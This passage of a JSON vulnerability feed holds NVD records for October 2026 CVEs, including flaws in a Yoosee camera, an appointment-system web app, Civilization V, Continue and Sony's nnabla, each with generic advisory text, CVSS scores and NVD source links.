exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T05:17:54.020Z","updatedAt":"2026-10-26T15:16:38.337Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113345","asOf":"2026-10-26T15:16:38.337Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113345","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113345","type":"primary","publishedAt":"2026-10-26T05:17:54.020Z","checkedAt":"2026-10-26T16:20:55.068Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:20:55.068Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116116","cveId":"CVE-2026-116116","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in Yoosee GM8135S Camera 21.00.01.36. Affected is an unknown function of the component Secure Boot.","summary":"A vulnerability was detected in Yoosee GM8135S Camera 21.00.01.36. Affected is an unknown function of the component Secure Boot. Performing a manipulation results in improper verification of cryptographic signature. The attack needs to be approached locally. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was detected in Yoosee GM8135S Camera 21.00.01.36. Affected is an unknown function of the component Secure Boot. Performing a manipulation results in improper verification of cryptographic signature. The attack needs to be approached locally. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T04:17:55.047Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116116","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116116","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116116","type":"primary","publishedAt":"2026-10-26T04:17:55.047Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116112","cveId":"CVE-2026-116112","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in HashenUdara edoc-doctor-appointment-system up to cc258425b915d1af9e298777ccd26d160493e68d. The affected element is an unknown function of the...","summary":"A vulnerability was identified in HashenUdara edoc-doctor-appointment-system up to cc258425b915d1af9e298777ccd26d160493e68d. The affected element is an unknown function of the file admin/add-new.php. The manipulation of the argument spec leads to sql injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was identified in HashenUdara edoc-doctor-appointment-system up to cc258425b915d1af9e298777ccd26d160493e68d. The affected element is an unknown function of the file admin/add-new.php. The manipulation of the argument spec leads to sql injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T03:17:11.780Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116112","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116112","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116112","type":"primary","publishedAt":"2026-10-26T03:17:11.780Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116111","cveId":"CVE-2026-116111","aliases":[],"kind":"vulnerability","title":"A vulnerability was determined in 2K Games Civilization V 1.0.3.144. Impacted is the function loadstring of the component Lua Sandbox.","summary":"A vulnerability was determined in 2K Games Civilization V 1.0.3.144. Impacted is the function loadstring of the component Lua Sandbox. Executing a manipulation can lead to type confusion. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability was determined in 2K Games Civilization V 1.0.3.144. Impacted is the function loadstring of the component Lua Sandbox. Executing a manipulation can lead to type confusion. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T03:17:11.603Z","updatedAt":"2026-10-26T17:17:20.717Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116111","asOf":"2026-10-26T17:17:20.717Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116111","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116111","type":"primary","publishedAt":"2026-10-26T03:17:11.603Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116110","cveId":"CVE-2026-116110","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in GiantappMan LiveWallPaper 2.6.8.0 on Windows. This issue affects some unknown processing of the file /LiveWallpaper/UploadFile of the component...","summary":"A vulnerability was found in GiantappMan LiveWallPaper 2.6.8.0 on Windows. This issue affects some unknown processing of the file /LiveWallpaper/UploadFile of the component SignalR Hub. Performing a manipulation results in missing authentication. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The patch is named b62f878899adbfc2968e3345442f3a3df91b774d. It is suggested to install a patch to address this issue. The vendor was contacted early about this disclosure.","detail":"A vulnerability was found in GiantappMan LiveWallPaper 2.6.8.0 on Windows. This issue affects some unknown processing of the file /LiveWallpaper/UploadFile of the component SignalR Hub. Performing a manipulation results in missing authentication. The attack is possible to be carried out remotely. The exploit has been made public and could be used. The patch is named b62f878899adbfc2968e3345442f3a3df91b774d. It is suggested to install a patch to address this issue. The vendor was contacted early about this disclosure.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T03:17:11.417Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116110","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116110","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116110","type":"primary","publishedAt":"2026-10-26T03:17:11.417Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116109","cveId":"CVE-2026-116109","aliases":[],"kind":"vulnerability","title":"A vulnerability has been found in continuedev Continue 2.0.0. This vulnerability affects the function MCPManagerSingleton.setConnections of the file core/config/ConfigHandler.ts...","summary":"A vulnerability has been found in continuedev Continue 2.0.0. This vulnerability affects the function MCPManagerSingleton.setConnections of the file core/config/ConfigHandler.ts of the component MCP Server Transport. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A vulnerability has been found in continuedev Continue 2.0.0. This vulnerability affects the function MCPManagerSingleton.setConnections of the file core/config/ConfigHandler.ts of the component MCP Server Transport. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T03:17:10.337Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116109","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116109","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116109","type":"primary","publishedAt":"2026-10-26T03:17:10.337Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116106","cveId":"CVE-2026-116106","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in HeyCyan App 1.0.103 on Android. Affected by this vulnerability is an unknown functionality of the component FileProvider.","summary":"A security vulnerability has been detected in HeyCyan App 1.0.103 on Android. Affected by this vulnerability is an unknown functionality of the component FileProvider. The manipulation leads to improper access controls. The attack may be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A security vulnerability has been detected in HeyCyan App 1.0.103 on Android. Affected by this vulnerability is an unknown functionality of the component FileProvider. The manipulation leads to improper access controls. The attack may be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T02:17:06.493Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116106","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116106","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116106","type":"primary","publishedAt":"2026-10-26T02:17:06.493Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116104","cveId":"CVE-2026-116104","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in Sony Neural Network Libraries up to 1.39.0. This impacts the function func_set_nnabla_version_decorate of the file...","summary":"A security flaw has been discovered in Sony Neural Network Libraries up to 1.39.0. This impacts the function func_set_nnabla_version_decorate of the file python/src/nnabla/utils/converter/utils.py of the component NNP Converter. Performing a manipulation of the argument function.type results in code injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A security flaw has been discovered in Sony Neural Network Libraries up to 1.39.0. This impacts the function func_set_nnabla_version_decorate of the file python/src/nnabla/utils/converter/utils.py of the component NNP Converter. Performing a manipulation of the argument function.type results in code injection. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T01:17:15.753Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116104","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116104","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116104","type":"primary","publishedAt":"2026-10-26T01:17:15.753Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-116103","cveId":"CVE-2026-116103","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in Sony Neural Network Libraries up to 1.39.0. This affects the function load_param_in_txt of the file...","summary":"A vulnerability was identified in Sony Neural Network Libraries up to 1.39.0. This affects the function load_param_in_txt of the file python/src/nnabla/utils/cli/encode_decode_param.py of the component Encode Param Command Handler. Such manipulation leads to code injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.","detail":"A vulnerability was identified in Sony Neural Network Libraries up to 1.39.0. This affects the function load_param_in_txt of the file python/src/nnabla/utils/cli/encode_decode_param.py of the component Encode Param Command Handler. Such manipulation leads to code injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T01:17:15.553Z","updatedAt":"2026-10-26T13:41:11.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116103","asOf":"2026-10-26T13:41:11.497Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116103","type":"primary","publishedAt":"2026-10-26T01:17:15.553Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 